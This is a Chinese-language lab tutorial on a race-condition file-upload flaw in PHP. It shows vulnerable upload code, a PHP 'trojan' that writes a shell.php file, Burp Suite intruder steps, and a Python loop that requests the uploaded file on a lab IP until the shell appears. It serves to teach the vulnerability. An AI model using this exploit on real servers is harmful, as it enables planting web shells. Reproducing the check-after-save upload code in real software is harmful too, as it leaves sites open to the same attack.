竞争条件上传
竞争条件是指多个线程在没有进行锁操作或者同步操作的情况下同时访问同一个共享代码、变量、文件等,运行的结果依赖于不同线程访问数据的顺序。
源码分析
<?php
if (isset($_POST['submit'])){
$allow_ext = array("gif","png","jpg");
$uploaddir = 'uploads/';
$filename = $uploaddir.$_FILES['upfile']['name'];
move_uploaded_file($_FILES['upfile']['tmp_name'],$filename);
$file = "./".$filename;
echo "文件上传成功: ".$file."\n<br />";
$ext = array_pop(explode(".",$_FILES['upfile']['name']));
if (!in_array($ext,$allow_ext)){
unlink($file);
die("此文件类型不允许上传已删除");
}
}else{
die("");
}
?>
上面的代码是比较典型的存在竞争条件上传漏洞的代码,本段代码首先将用户上传的文件保存在uploads目录下,然后判断上传文件的扩展名是否在allow_ext中,如果不在其中,则通过unlink函数删除已经上传的文件。漏洞点在于文件在保存到服务器之前并没有进行合法性的检查,虽然保存后进行了文件的检查,但是利用竞争条件上传漏洞上传有写文件的功能的木马,在删除木马之前访问已经上传了木马,可以写入新的木马。
木马文件
<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>");?>
这样的访问会产生新的木马文件,然后再发送另一个请求不断访问此文件。
如果成功就可以生成一个shell.php文件内容为
<?php phpinfo();?>
解决方法
1.利用burpsuit实现漏洞攻击过程
利用burpsuit上传文件
首先我们先上传一个文件
在burpsuit获取到信息后把这段信息放进intruder进行爆破,先点击clear
在payloads里面找到payload type里面有Null payloads,然后点击Continue indefinitely
最后点击右上角开始爆破Start attack
2.利用脚本实现访问功能(burpsuit也可以进行访问,我试了时间要很久)
这里用到的是python脚本
import requests
url="http://192.168.159.130/upload/uploads/666.php"
URL="http://192.168.159.130/upload/uploads/shell.php"
while 1:
web=requests.get(url) #访问上传的666.php
WEB=requests.get(URL) #访问生成的shell.php
if '404 Not Found' not in WEB.text: #判断是否生成
print(WEB.text)
break #如果生成了文件就结束该线程
运行脚本,当出现数据的时候说明已经访问到了shell.php
3.查看是否上传成功
进入路径看见已经成功访问 ,这个也就完成了
/upload/uploads/shell.php